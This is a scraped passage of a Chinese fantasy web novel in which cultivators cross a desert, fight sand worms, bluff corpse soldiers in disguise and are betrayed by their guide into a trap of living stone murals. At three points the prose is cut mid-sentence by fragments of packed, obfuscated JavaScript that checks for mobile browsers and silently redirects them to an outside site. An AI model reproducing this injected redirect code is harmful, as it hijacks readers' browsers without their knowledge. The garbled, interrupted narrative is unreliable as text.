木剑刺入沙中,小狼双腿压力骤减,身体被一股大力拉了出来。李恕松开小狼,凝眸盯着地面,暗河也拔剑飞了回来。 “是沙虫吗?” “是。” 李恕与暗河背向而立,将小狼护在中间,黄沙犹如一锅煮开的沸水,迫不及待要把三人吞噬。列队前进的水蚁早已被冲得七零八落,星光颤颤巍巍,直到彻底熄灭在黑夜里。 小狼声音发抖:“怎么回事,这里怎么会有沙虫……而且还这么多!” 地动山摇,沙浪扑面而来,李恕提着小狼的衣领避开。再往下看,只见两人原先站立的地方现出一张深渊巨口,獠牙密密麻麻地长了一圈又一圈,别提有多恶心。 暗河看见沙虫过来不退反进,一剑刺下,然而沙虫来得快去得更快,木剑刺中的只有沙子,沙虫早已遁到别处去了。 小狼冲他大喊:“没用的,这是沙虫的地盘,我们一落脚它就能感觉到,但是沙虫在哪儿我们根本看不见!” 李恕仿若未闻,只专心看脚下,每当她落脚引出沙虫,暗河就会及时补上一剑。两人有没有刺中沙虫小狼不知道,他只知道自己的脚好几次擦着沙虫的牙齿掠过,吓得他恨不得缠到李恕身上。 很快,李恕停了下来,这个方法没用。 小狼直打磕巴:“你你你干什么,快跑啊。” 李恕仍旧没动,直到那团沙浪滚到脚下,李恕以迅雷不及掩耳之势砸下一拳,地面顿时以她的右拳为中心塌下去方圆五丈。 尘埃落定,小狼双手抱头:“死、死了吗?” 回答他的先是寂静,而后是更加剧烈的地动山摇,沙虫没死!它们的感觉无比敏锐,在李恕出手的瞬间便钻入了更深的地下。纵是李恕灵力强劲,经过黄沙缓冲也没法一击毙命沙虫。 小狼绝望了:“求你们了赶紧走吧,我真的不想死在沙虫肚子里。” 李恕换了只手提着小狼:“不想死就老实回答我的问题。” 小狼人都麻了:“这个时候了你还问……你该不会怀疑沙虫是我安排的吧?!” “你应该没那个本事,我是想问,沙虫是幽兰古国的东西吗?” “是吗?是吧,应该是的!”小狼拼命思考,说出的话仍旧语无伦次。 李恕心中已有定论,对暗河道:“你知道他们在哪里吧。” 暗河点头,一剑飞出极远,剑气掀起漫天黄沙。 小狼哇哇大叫:“什么这里那里?你们在说什么?他们又是谁?啊啊啊啊啊小河仙师你打偏了!!!” 沙尘平静之后,脚下的地动也跟着停了,只见暗河剑气飞过的地方站起来几道瘦长人影。 小狼瞪大眼睛:“那是……” 屠城蜃影中李恕看见了许多毒虫猛兽,虽然因为距离的缘故看不真切,但其中便有身形巨大、非龙非蛇的东西。如果那是沙虫,也就表明幽兰国王可以控制沙虫。 发现远处藏着几个人后,李恕立刻怀疑沙虫是被他们所驱使的,如今看来,这些人不仅是沙虫的主人,更是幽兰国王的人。 站起来的是人形,却不能再叫人了。他们每个身高都接近两米,裹着破破烂烂的袍子,眼窝中微光闪现,乍一看像骷髅,细看就会发现那是因为他们的皮紧紧裹在了骨架上,仿佛被血魔吸干了血肉。 小狼认出了骷髅人的身份:“尸兵!他们是效忠于幽兰国王的战士,奉命在城外巡防,阻止可疑的人接近王城,现在虽然变成了干尸,但仍在执行国王命令!” 对尸兵来说,李恕一行是身份不明的入侵者,理当格杀勿论。 李恕暗自打量,尸兵共有八人,尽管形容可怖,却不是什么难对付的怪物,暗河一人就能全部解决。 似乎是感觉到了李恕的杀意,尸兵分散开来,各自操纵沙虫发起新一轮的攻击。李恕以手作刃,却被小狼死死抱住胳膊:“不行!尸兵死了,沙虫就会一直执行尸兵给它下达的最后一个命令,直到完成任务!” 最后一个命令,必然是杀了李恕这几个入侵者,到那时只要还在这片沙漠,他们就永远不可能安生。 李恕拧眉收了灵力,小狼这会儿反而冷静了下来了把背上的包袱扯到胸前:“我有办法,你们想办法把衣服换上。” “什么衣服?” 很快李恕就知道了小狼说的是什么衣服——他临走之前带的那两件纱衣。 “你在开玩笑吗?” “当然没有,这是我的独家秘诀。” 小狼对付不了沙虫,但有对付尸兵的办法。幽兰国王生前大肆掠夺稀世珍宝、绝色美人,最疯狂的时候每天都有士兵带着战果进城复命。不请自来是入侵者,可若有了理由,不就能光明正大进城了吗?李恕与暗河可都是现成的美人! 小狼把纱衣扯出来塞进李恕怀里:“快点儿没时间了,除非你们有稀世珍宝骗尸兵。” 李恕的储物袋里倒是有一把价值连城的扶风剑,可惜没法拿出来,于是拧开隐形阵罩住三人。 “换吧。”李恕把紫色纱衣丢给暗河,自己拿了红色的。解开衣领之前,她的手指在颈上略作停顿,黑蛇便悄悄游到她的心口处藏了起来。 暗河将信将疑,不过李恕都同意了,他又怎好扭捏,迅速脱了外袍和中衣,将紫色轻纱裹到身上。 好凉,暗河脊背紧绷,纱衣轻软如烟雾,阻挡不了夜风,也阻挡不了视线,令他生出一种没穿衣服的错觉。 而且不知是因为天色太暗还是太过紧张,暗河摸索半天始终系不上腰带,露出大片肌肉明晰的胸膛。 李恕拨开暗河的手,为他系紧腰带。两人的衣服款式相同,衣摆缀着叮叮当当的金属饰品,后背只垂两片轻纱,风一吹一览无遗。 李恕仔细打量暗河,他一副精壮的男子躯体,裹进纱衣里明显有些紧了,好在他的腰腹劲瘦平坦,缠得紧些反而赏心悦目。 小狼从下往上扫视暗河,看到胸口之前都很满意,看到胸口之后摇了摇头:“小河仙师,要不……你垫一下?” 李恕持反对意见:“已经垫不下了。” “可是这么宽阔的胸膛,这么结实的肩膀,一看就是男人啊。” 被两人直白地加以点评,暗河如芒在背,用力扯紧领口:“果然还是不行……” “我有办法。”李恕灵机一动,解了暗河束发的玉冠,长发散下来遮住轮廓,小狼顿时眼前一亮。 “这样就好多了。”虽然身材还是较为高大,但这长发飘飘的样子,就很容易给人一种美的感觉。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15126581|163956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >李恕瞥向小狼:“把你的外袍脱了。” 小狼大惊:“我还是个孩子!” “一。” “好,我脱。”小狼没有一点儿骨气。 李恕接过外袍,撕开后重新打结,然后披到暗河身上,一半遮住他的肩膀,一半充当兜帽。如此一来,便成一副欲露还掩的样子,别有一番滋味。 小狼不自觉点头,现在还剩最后一个问题:“尸兵会检查美人身份,小河仙师戴着面具怕是不行,能摘掉吗?” 李恕点点犬牙,面具顿时像是有了生命,听话地退到暗河颈上,化作一道银色项圈。 一切准备妥当,小狼主动走出隐形阵,尸兵正在到处搜寻他们,一见小狼出来,立刻命令沙虫把他吞掉。 小狼默默给自己鼓了把劲儿,双手交叉举过头顶,扑通一声跪下,大喊了一句发音怪异的话。 果不其然,沙虫停住了。小狼松了口气,他只会一点幽兰语的皮毛,好在尸兵听懂了。 “两位仙师请出来吧。”小狼小声催促李恕两人,等到他们也走出隐形阵,小狼才继续一个词一个词地往外蹦幽兰语:“我……送……美人!” 尸兵的脚步声由远及近,最后停在他面前,小狼只敢把头抬起一点儿,指着李恕两人边说边比划:“王……命令……美人!” 尸兵回了一句幽兰语,分成两拨检查李恕与暗河。两位美人身形高挑,肤色白皙,符合幽兰人的审美。尸兵很满意,回到小狼面前说了一长串幽兰语。 小狼连蒙带猜,尸兵这是同意放他们走了,赶紧重新行了一个跪拜大礼:“谢谢!” 等到几人走出去老远,再也看不见尸兵的身影,小狼终于敢停下来歇歇,一屁股坐到地上:“我的妈呀,我这辈子再也不想碰见沙虫。” 李恕问道:“水蚁被冲散了,接下来该怎么走?” 小狼拍着胸脯保证:“别担心,我带路从来没有差评。守则第二条‘不要错过尸兵’,遇见尸兵说明这里已经距离幽兰古国很近,天亮了一定能找到。” 暗河取下兜帽:“抱歉,你的外袍不能穿了。” 小狼毫不在意,一个劲儿地盯着暗河看,方才太紧张了没注意,现在越看越惊为天人。 “没事,小树仙师会赔我钱的,对吧?” 李恕没接小狼话茬,打了个响指,项圈沿着暗河的脖颈向上蔓延,再次化作面具贴在他脸上。 “干嘛这么小气,让我看看又怎么了。”小狼翻出胡萝卜咬了一口,对着李恕指指点点,“你们穿的衣服还是我买的呢。” 暗河拢起披散的长发,问李恕道:“我的发冠是不是在你那里?” 李恕摸摸身上,摊开手:“丢了。” 这衣服到处漏风,不知道把发冠漏到哪儿去了。 暗河想着用别的东西替代发冠,李恕忽然翘起唇角,有了更好的主意。纱衣颇具异域风情,并不适合束发,李恕给暗河编了一条垂到腰部的辫子,随手扯下一截纤细的金属链子在他发尾绑了个结。 “好了。”李恕满意地欣赏自己的杰作,美人如玉,被盈盈月光一照,竟比比明月还要夺目三分。能把露骨的纱衣穿出圣洁的效果,也只有暗河了。 暗河很感谢李恕帮他编发,只是,“我总不能一直穿着这身衣服。” “谁说不能,万一路上还有尸兵呢,进了城再换也不迟。” “……嗯。”暗河重新把兜帽戴上。 19. 夜哭 长夜仿佛没有尽头,小狼是嘴巴闲不住的人,只要不睡觉就会一直想找人说话。可是找李恕他不太敢,找暗河又没什么好说的,可把他难受坏了。 “我决定了,等这趟行程结束我要好好歇一歇。”小狼躺在地上自言自语,决心下次做向导一定好好挑选目标,绝对不要再碰见李恕这么难搞的人。 “呜呜呜。”夜风吹来一声啜泣。 “谁?!”小狼一个鲤鱼打挺,但却什么都没看见,“小树仙师,你们有没有听见哭声?” 李恕点头,小狼连滚带爬挤到她与暗河中间,先有沙虫后有夜哭,今晚对他的惊吓简直接二连三。 “呜呜呜……”哭声的方向变了,距离也更近了,却始终不肯现身,幽幽地围着几人打转。 “怎么办,不会是、是鬼吧?”小狼不敢把“鬼”字说的太重,仿佛这样会出口成真。毕竟幽兰国王屠杀了那么多人,难保里面不会有几个死不瞑目的人成了厉鬼,如今他们倒霉送上门来,肯定会沦为厉鬼的泄愤工具。 李恕凝神细听,这哭声不仅没有哀怨,反而藏着几分轻快,而且总和风一起出现,很难不让她想到某个人。 “出来,别在这里装神弄鬼。” 哭声被叫停了,片刻之后,夜色中缓缓走来两道人影,不是放寒山和幻幻还能是谁? 一见李恕,幻幻立刻举起双手三连否认:“不是我干的,不关我的事,不要杀我。” 放寒山敲敲他的脑袋:“你个墙头草。” “你自己找死非要拉着我!” “童言无忌,我不跟你计较。”放寒山展开折扇,虽然他费了好一番功夫才从赤霞派手中脱身,但他是不会说出来的。 “李仙师竟然一下子就认出了我,真是令人感动……咦,你身旁这位美人是谁?” 被称作美人的暗河:“……” 下一刻放寒山便大笑起来:“哈哈哈骗你的,你这幅打扮还真是别出心裁啊,暗河兄~” 暗河:“……” 还不如没认出来。 李恕面无表情:“你怎么跟过来的?” “自然是有缘千里来相会。” 李恕看了幻幻一眼,幻幻马上招供:“他在暗河仙师身上下了追踪符。” 放寒山满头黑线:“哪怕你多坚持一会儿再出卖我呢?” 李恕下巴微抬:“把符撤了。” 放寒山应了一声,从怀里摸出符箓撕碎,反正人已经找到了,这符也没用了。 做完这些,放寒山目光灼灼盯着李恕,神情像是期待,又像是防备:“仙师是不是忘了什么事情?”那天李恕走前特别无情地撂下狠话,再敢跟着她就把自己杀了,现在还杀不杀? 李恕默了片刻,忽然展颜一笑:“什么事情?” 放寒山愣住了,他没看错吧,李恕居然笑着对他说话? “你不记得了?”放寒山直觉事情没有那么简单,人却忍不住凑了过去,“你现在不动手,一会儿不许搞偷袭啊。” 幻幻不敢跟着放寒山作死,选择和小狼坐在一起,两个少年差不多大,没一会儿就互相介绍了名字开始说悄悄话了。 “你们和小树仙师到底是不是朋友啊?” “你是指李恕仙师?” “原来她叫李恕。” “我们不是朋友。” “那你们跟着她干嘛?” “这我不能告诉你,总之就是受人所托。” 小狼没再追问:“好吧,那你们方才怎么把声音传过来的?” “很简单啊,你看放寒山手里的扇子,轻轻扇一下能把人吹出十万八千里,送个声音还不容易。”幻幻说得起劲,耳边恰好响起一阵呜咽,幻幻摇头晃脑道,“你听,就像这样。” 小狼跟着点点头,点完之后两人都愣住了……谁在哭?幻幻一个激灵,第一时间去看放寒山:“是你吗?” 放寒山回他一个无语的眼神:“我有那么无聊?” “那是谁?你们都听见了吧,有哭声。”幻幻汗毛倒竖,那哭声断断续续,哀哀戚戚,简直像是遇见了世上最悲惨的事情,哭得只剩下一口气。 李恕指向后方:“不是鬼,是人。” 说话间哭声的主人走近了,原来是个瘦小的中年男人,像一截被白袍裹起来的枯枝,正在边走边哭。 男人身后跟着一队身穿紫衣的妙龄少女,为首之人眉目冷然,正是那群曾去赤霞派店铺购买随身阵的紫竹峰弟子。 “付仙师。”放寒山认得为首女修,付剑心,紫竹峰掌门沉璧上人座下首席弟子。 付剑心略一颔首,算是回了礼,看样子并不打算跟放寒山寒暄。 “付仙师也要去幽兰古国吗?我们正好同路。” “谁跟你同路,别来套近乎。”说话的人是站在付剑心身后的女修,语气不甚客气。 “真意。”付剑心低声唤了一句,示意女修不可无礼。 紫竹峰弟子为人冷傲,放寒山对此早有耳闻,因此也没觉得被冒犯,反倒是那个哭泣的中年男人一下子冲了过来,用力抓住他的手。 “你们也要去幽兰古国?” “是……” “我带你们去吧,一个人只收五百两!” 放寒山默默把手抽了回来:“谢谢,但是不用了。” “那三百两,三百两也行。” “不了……” “为什么?”男人痛心疾首,“你相信我,我是这一片儿最好的向导。” 放寒山仍是拒绝,且不说他不需要,就是需要也不会找中年男人,那位名叫真意的女修眼里都快喷出火焰了。 “有完没完,你再废话一句试试?”真意冲着中年男人扬起拳头,被付剑心拦下了,真意不满道:“师姐,他这一路耽误我们多少事了?三天的路硬是拖了七天,多的时间全在听他哭哭啼啼!” 男人缩起脖子:“还不让人哭了,再说你要是让我把路上那群人带上,他们愿意每人给我五百两,五百两!” 男人越说越心疼,又忍不住大哭起来,嘴里嚎着他的钱没了。真意强压怒火:“那群人不是修士,到了幽兰古国只有送死的份儿,我师姐好心安排人送他们回去,你却只想着钱。” “好言难劝该死的鬼,他们愿意送死就送死,我有钱拿就行……” 男人嘟嘟喃喃,真意再也忍不了了,手中腾起火焰,照得她面目森然:“既然如此,我先送你上路,毕竟我也劝过你闭嘴了。” 男人终于把话憋了回去,在真意的催促下,一行人披着夜色往前,很快就走远了。 李恕看向小狼:“为何他在夜里也能知道幽兰古国的方向?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15137516|163956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 听出李恕意有所指,小狼马上为自己辩解:“每个向导都有自己的办法,你不能因为一点问题就全盘否定我,难道你没听见那个漂亮姐姐说她们三天的路走了七天,而我们从出发到现在才花了两天。” 说完之后,小狼又顺毛安抚李恕:“仙师别担心,王宫里的宝物多得很,就算比她们晚进去也绝对不会白来。这样吧,咱们明天一早就出发。” 待到朝阳初升,几人举目远眺,果然在荒漠中看见一点儿模模糊糊的城楼影子。 放寒山啧啧称奇:“久闻幽兰古国大名,今天终于见到真容了,话说仙师来此是为了什么宝物?” “与你何干。” “想必......是为了天书吧。” 称为天书其实并不准确,应该叫作地图才对。相传人间有神兽,名为麒麟,祂的吐息便是灵气来源。如今灵气枯竭,正是因为麒麟不知所踪,灵气只有消耗没有再生。 天书此物,能够指引麒麟所在。可惜在世人的争夺中天书裂成了五片,玄隐门与紫竹峰各执一片,剩下三片下落不明。但是又有传言称幽兰国王收集到了其中一片,幽兰古国覆灭后天书便也随之被埋葬。 放寒山虽然在猜测,但语气中毫无猜测之意:“敢问仙师收集天书残卷是为了找到麒麟复苏灵气,还是为了麒麟血呢?” 与麒麟吐息相比,麒麟血是更为珍贵的东西,既能活死人肉白骨,也能一步登天羽化成神。 李恕还是那句话:“与你何干。” 放寒山微微一笑,不再多言。想要天书的人多了,不说远的,只说才碰见的紫竹峰等人,放寒山便可以肯定她们便是为了天书而来。李恕想要,那就看她的本事了。 约摸走了一个时辰,幽兰古国终于触手可及,众人仰头看,最高的王宫矗立在一层又一层的高墙后。低头看,沙尘一直堆到城门腰部,上方垂着一根碗口粗的铁链。 小狼拍了拍门,响声沉闷,可以想象门板有多厚实,重量定然难以估量:“这门不是推的,得拉起来。” 暗河忽然想到一事:“紫竹峰应当比我们先到,怎么不见她们进城的痕迹?” 小狼努了努嘴:“幽兰古国又不止一个城门,可能从其他门进去了吧。快拉吧,你们不是急着进城吗?” “为什么不能飞进去?”放寒山把扇子插回腰间,足尖一点,想着城楼而去。即将踩到最上方的砖块时,忽然身一重,不受控制地坠了下来。 小狼这才解释:“我们能想到的事情幽兰国王怎么可能想不到,他早就命人设了结界,根本飞不过去。” 放寒山掸掸衣袖,仿佛无事发生:“没错,走大门吧。” 铁链下端是个钩子,设计它的用意很明显,众人将门拉起来后可以将钩子固定在嵌入城墙的铁环上。 放寒山数了数人头:“我们有四个人,每个人都用点劲儿应该没问题。” 幻幻也数了一遍:“不是五个人吗?” “你和小狼加起来算一个。”按照放寒山的设想,他与暗河站在最前,李恕站在中间,幻幻和小狼站在最后合力挂住钩子。 李恕道:“不合适。” 幻幻和小狼跟着道:“就是,我们怎么就算半个了?” 李恕道:“不用你俩,退一边去。” “……”两人默默滚了。 20. 壁画 这样一来李恕就站在了最后,又要拉铁链又要挂钩子,放寒山不太放心:“还是我来吧。” “你确定吗?” 这有什么不确定的,况且李恕都这么说了,必须确定。放寒山解了护腕丢给幻幻,三人依次站好,双手扣住铁链。 小狼在一旁指挥:“听我口令,三,二,一!” 话音落下,三人一起用力,哗啦一声,铁链瞬间被拉成了直线,只是门下堆的沙子没有任何松动的迹象。 小狼用手刨了两下:“不行啊。” 放寒山干笑两声:“哈哈,我还没用力呢。” 几人再次调整姿势,暗河的手臂肌肉隆起,从指尖到腰腹再到小腿,整个人绷成一张蓄势待发的弓,漂亮极了。李恕在他身后,看着那条松散的辫子在眼前晃来晃去,发尾缀的金属链子叮当作响,忍不住想其实进了城也不必急着把衣服换回来。 “喂。”放寒山忽然冒头,狐疑地盯着李恕,“你眼睛在看哪里?” 李恕笑而不语,放寒山顺着她的视线一看,暗河的背肌在阳光下白得耀眼,顿时明白了李恕一开始为什么要站他后面,原来是因为这个!色魔。 另一边小狼开始组织新一轮的尝试:“我数到三,再来一次。一,二,三!” “哗啦!”铁链响了,不同于第一次,这次每个人都找到了最佳发力点,合力之下尘封已久的沟槽被挤出摩擦声,堆积在城门底部的沙子终于开始下陷。 “动了!”小狼和幻幻异口同声欢呼。 放寒山一句话分成三节:“我早说了……方才是因为……我没使力。” 但是很快他就意识到一个大问题,他全部的力气都用在了拉铁链上,现在人是退到了铁环旁边,却腾不出手去挂钩子了。 李恕气定神闲,还有余力转头去看放寒山:“怎么了放统领,距离不够吗?” 放寒山咬紧牙关,他的牛皮已经吹出去了,还吹了两遍,现在有点骑虎难下了。 李恕笑了一声,踢出一脚,钩子受了巧劲在空中自下而上画出一道优美的圆弧,啪的一声挂在铁环上。 放寒山:“……” 李恕绝对是故意的。 “好耶!”小狼欢呼一声,展开双臂感受城中钻出来的冷风,随后单手背在身后做出请的姿势,“诸位仙师,我的任务完成了,这里就是幽兰古国入口,请吧。” 放寒山甩了甩胳膊,接过护腕扣上:“你不进去?” “我和小树仙师说好了,只带你们到入口,不进去,我可是一个有原则的向导。” 城内是一处大而空旷的场地,四面高墙刻满了猛兽壁画,雕刻之人技艺颇精,那些猛兽栩栩如生,凶猛骇人,仿佛下一刻就会破墙而出。城门正对面是一条狭长的甬道,尽头被埋藏在黑暗里,窥不见一丝天光。 李恕静立片刻,率先抬脚踏进城内,暗河等人紧随其后鱼贯而入。站在里面壁画的压迫感更强,几人像是被投入兽笼的鲜肉,随时可能被撕碎分食。 幻幻揉揉眼睛:“我看错了吗?我怎么觉得这些壁画在盯着我们?” 李恕面前是一条大蛇壁画,两眼虽为石刻,却隐隐渗出阴狠。李恕心神微动,一连向左走出七步,大蛇的眼睛仍旧盯在她身上。 幻幻说的没错,这些壁画确实在看他们。 “小狼,你确定这里是入口吗?”幻幻心里直打鼓,忍不住去问城门口的小狼。 小狼笑容灿烂,不知何时退到了圆环所在的位置,他手中拿着一只透明的小玻璃瓶,里面盛着黑色的液体。“是啊,这里当然是入口——送你们下地狱的入口。” “什么意思……你怎么了?” 小狼没有回答幻幻,只将液体倒在铁钩上,一股白烟升了起来,铁钩瞬间被腐蚀出一个大坑。 见势不对放寒山反手一扇,然而已经晚了,那液体的腐蚀性极强,城门又极厚重,一眨眼的时间铁钩便已不堪重负,城门轰的一声砸了下来,挡住了放寒山挥出的风,只有幻幻的声音越过了城门:“你为什么要这么做?” “因为,沙漠守则第三条——不要相信任何人。如果真让你们拿走了幽兰古国的宝物,以后还怎么吸引其他鱼来上钩?” 可惜他的回答幻幻已经听不见了,小狼双手交叉垫在脑后,哼着小曲儿往回走。等到下次再有修士过来,他会继续扮演认真负责的向导,一边收下酬金,一边带着他们走向死路。 城墙之内吼声骤起,壁画上的猛兽张开血盆大口引颈长啸,各种声音混杂在一起,震得李恕几人耳膜嗡嗡作响。 幻幻惨白着脸:“壁画活过来了?” 他刚说完,叫的最大声的那只老虎一个猛扑,直接从壁画中跳了出来,它原来站立的地方则变成了一片空白。 幻幻惊得忘了说话,老虎体型巨大,足足有正常老虎的三四倍,最可怕的是它的身体不是血肉,而是坚硬的岩石。 几人围拢在一起,越来越多的猛兽跳出壁画,虎视眈眈他们,那是看食物的眼神。 李恕从储物袋中取出暗河的木剑,抛给他:“不要恋战,我们去对面甬道。” 放寒山却道:“那条甬道未必就是出口,既然壁画设计的如此恐怖,又怎么会专程给我们留下一条生路。” 说话间石兽已经迫不及待发动攻击,盯了李恕许久的大蛇尾巴一甩,抡向她的身体。 李恕闪身避过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15149782|163956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落到大蛇头上,一拳砸向它的脑袋,顺便抽空回了放寒山一句:“不试试怎么知道。” 蛇头四分五裂,碎石迸溅,蛇身还在地上疯狂扭动,好像它真的有生命一样。 放寒山挥挥扇子,驱散扑面而来的灰尘,他的宝物在这四四方方的空间里并不好用,上面又有结界,只能当个棒槌狠狠敲那些不长眼的石兽。“我觉得我们应该更……”“谨慎”两字尚未出口,斜刺里忽然射来一块碎石,放寒山以为有人偷袭,定睛一看,竟是碎掉的蛇头自己拼了起来,头尾相接再次加入战场。 放寒山立刻改了口:“我觉得你说的对。” 这些玩意儿太诡异了! “砰!砰!砰!”石块碎裂声不绝于耳,李恕的动作又快又狠,每一只出现在她的面前的石兽都被打爆了头,暗河与放寒山把幻幻护在中间,紧跟李恕的脚步。 打烂最后一只石兽,一行人终于到了对面。甬道很窄,只能勉强容纳两人并肩通过,暗河示意放寒山与幻幻先走,他来断后。放寒山也不磨叽,丢下一句多谢便冲了进去。 甫一进入甬道,石壁上瞬间亮起密密麻麻的红点,再仔细看,那根本不是什么红点,而是无数只猩红的眼睛——石壁里面嵌满了人。 这些人只能露出脑袋和胳膊,一层叠着一层,一个压着一个,发现李恕进来石壁人争先恐后地睁开眼睛,伸出双手,口中发出狂热的嘶吼。 李恕听不懂幽兰语,却也不难猜出这些人的目的是把他们拉进石壁中。 放寒山打掉一只险些碰到他脸的手,胃里一阵抽搐:“这都是些什么,太恶心了。” 前方的甬道仍是一片黑暗,不知道还有多长,也不知道有没有更古怪的东西。 “跟上。”李恕没有犹豫,她每踏出一步身侧的眼睛就会随之睁开,接着伸来铺天盖地的胳膊。李恕两手寒光一闪,不知从哪里拔出两把锋利的短刀,将沿路抓挠她的手通通斩下。 断肢噼里啪啦地打在扇面上,放寒山虽然觉得恶心,但好在都是干尸,没有血水,不然他一定会吐出来。 “李仙师,你这兵器不错嘛。”放寒山享受着李恕在前面开路,又忍不住跟她搭话,“之前怎么不见你用,我们还能切磋一下。” “你会有这个机会的。” “你说什么?”放寒山没听清,周遭实在太混乱了,但是李恕没再开口,放寒山觉得可能是他听错了。 跑了许久,甬道前方终于隐隐透出些许亮光,李恕把刀握得更紧,准备好了迎接前方未知。 唰!白光亮起,众人眼前有一瞬间的黑暗,随后又恢复清明。 入目是四方天空,狰狞石兽——他们又回到了原点。 21. 试探 是幻觉吗?明明一路都是直行,为何出口变成了入口?大蛇张口咬来,獠牙寒光闪闪,绝非幻影。李恕纵身而上,再次把蛇头砸碎,同时双手一合将两把短刃化为长刀,瞬间就把大蛇的身体切成了无数段。 放寒山平地起了一股旋风,卷住大蛇碎掉的身体,阻止它再次“复活”,嘴里叹道:“那到底是什么兵器,这么好用?” “冰。”幻幻回答了他,那是冰凝成的刀。 放寒山更为讶异,暗河飞身站到李恕身侧,两人一刀一剑,出手如电,扑过来的石兽还没落地就在半空中被铰成了碎块。 一刻钟后,场中已经没有完整的石兽,多了十几股呼啸的风柱。几人终于可以好好说话,放寒山呼了口气:“你们真是找了一位好向导,这么神奇的体验可不是每个人都有机会经历的。” 这话说的揶揄十足,李恕反唇相讥:“扇你的风。” 放寒山微微一笑:“扇着呢。” 碎石一时半会儿脱离不了风柱,但这毕竟不是长久之计,暗河问道:“你能坚持多久?” 放寒山眼观六路耳听八方,发现哪道风柱力度小了就补上一扇:“很久,我们可以慢慢想办法。” 李恕绕着石壁走了一圈,没发现暗门之类的东西,在这个上天无门下地无路的空间,要想出去似乎还是只有那条甬道可走。 李恕回到甬道入口:“你们在外面等我。” 暗河立刻跟上她:“我也去。” 放寒山跟上暗河:“那我也去。” 李恕觑着放寒山:“你走了谁来控制风柱?” 放寒山等的就是这句话:“对啊你们都走了,我控制风柱的时候谁来保护我?” “你是担心我们偷偷离开不带你吧。” “我没有这么说哦。” 如果李恕确实想丢下放寒山,那她一定会找借口只带暗河进去,可她现在并没有这种想法,于是对暗河道:“你留下来吧,我一个人进去。” 暗河欲言又止,最后点了点头。 再次进入甬道,猩红色的眼睛马上又睁开了,长短不一的手臂从墙里伸出来,分不清他们是接回了断肢,还是另一批石壁人。 李恕走得很慢,只斩断了左侧墙壁中伸出来的手,确保他们抓不到自己,然后仔细打量右侧的石壁人。从手臂长度来看,他们的身高普遍不低,应当都是幽兰古国人,那他们为什么会被嵌进墙壁? 背叛,李恕的脑海中迅速出现一个答案。因为他们背叛了幽兰国王,这是国王对他们的惩罚,将他们活生生嵌进了墙壁。 想通这一点,李恕也想明白了出发时看见的蜃影,画面最后幽兰国民被赶进了一扇城门,想必就是小狼带他们进入的这扇门。这里不是什么入口,而是用来处决幽兰国民的刑场。 “啊啊啊……啊啊啊……”嚎叫声此起彼伏,拼命伸长手臂却碰不到李恕的石壁人愈发癫狂,剧烈挣扎下,禁锢他的石壁发出一声响动,竟然真的让他挣出了寸许。 这一点距离足够了,石壁人兴奋地手臂发颤,五指成爪抓向李恕肩头。 李恕没有躲避,碰到她的前一刻石壁人忽然停了下来——他的指尖落了一片冰霜,紧接着,整只手、整条胳膊、整片墙壁都被冻住了。 李恕双眸幽绿,寒意自她脚下向前延伸,数十米的石壁都结了冰。 李恕顺着甬道一寸寸看过去,她身旁的石壁人双眼通红,冰封下依旧面目狰狞,再往前的却没有,像是睡着了一样。 忽然,李恕有了一个猜测。 甬道外面,放寒山靠在墙上,有一搭没一搭地与暗河聊天:“你与李仙师似乎关系很好,你们怎么认识的?” 暗河默默计算李恕进去的时间,如实答道:“应当很早就认识了。我是她的炉鼎。” 放寒山怀疑自己听错了:“炉鼎,那个炉、那个鼎?” “嗯。” “恕我冒昧,像暗河兄这般风姿的炉鼎,可不是一般人能消受的。我对各大宗门、世家也算了解,敢问李仙师出自何处?” “我不知道,从前的事情我都不记得了。” “你失忆了?” 暗河点头,放寒山心念电转,直觉告诉他暗河的失忆不简单,抓住这一点也许就能确认他的身份。 “你为什么会失忆?” 暗河轻轻按住胸口,那里钝痛已经消散了:“因为受伤。” 放寒山不依不饶:“通常来讲,脑子受伤才会失忆吧。” 暗河也不知该如何解释,放寒山打趣道:“既然事情都是李仙师告诉你的,那她就算骗你你也不知道吧。” 前面几个问题暗河答的都很迅速,但是这个问题他没有直接回答,而是反问:“你在怀疑她吗?在我看来,屡次三番跟踪我们的你更加可疑。” “暗河兄别生气,我没有什么恶意,之所以一直跟着你,是因为我觉得暗河兄像我的一位朋友。”也不知暗河经历了什么,失忆得这么彻底,而且他十分信任李恕,放寒山不好操之过急。 闻言,暗河的态度缓和许多:“哪位朋友?” “玄隐门大弟子,任流白。” 暗河微微怔住,任流白,他听过这个名字吗? 玄隐门委托任务时叮嘱捕星司不要声张,因此知道任流白失踪的人少之又少,没确定暗河身份前放寒山自然也不能泄露消息,温声哄劝道:“我这位朋友样貌出众,见之难忘,若是暗河兄愿意摘下面具让我看看你的脸,一切自会见分晓。” 暗河抬手轻触面具:“我没法……” 